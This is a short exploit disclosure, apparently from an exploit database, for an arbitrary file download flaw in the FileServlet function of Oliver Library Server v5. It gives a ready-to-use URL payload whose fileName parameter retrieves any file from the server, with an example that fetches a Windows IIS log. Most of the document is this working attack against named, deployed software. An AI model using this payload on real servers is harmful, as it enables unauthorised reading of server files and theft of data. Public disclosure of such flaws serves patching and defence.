# Exploit Title: Oliver Library Server v5 - Arbitrary File Download# Date: 14/12/2021# Exploit Authors: Mandeep Singh, Ishaan Vij, Luke Blues, CTRL Group# Vendor Homepage: https://www.softlinkint.com/product/oliver/ # Product: Oliver Server v5# Version: < 8.00.008.053# Tested on: Windows Server 2016
Technical Description:
An arbitrary file download vulnerability in Oliver v5 Library Server Versions < 8.00.008.053 via the FileServlet function allows for arbitrary file download by an attacker using unsanitized user supplied input.
Steps to Exploit:
1)Use the following Payload:
https://<hostaddress>/oliver/FileServlet?source=serverFile&fileName=<arbitrary file path>
2) Example to download iis.log file:
https://<hostaddress>/oliver/FileServlet?source=serverFile&fileName=c:/windows/iis.log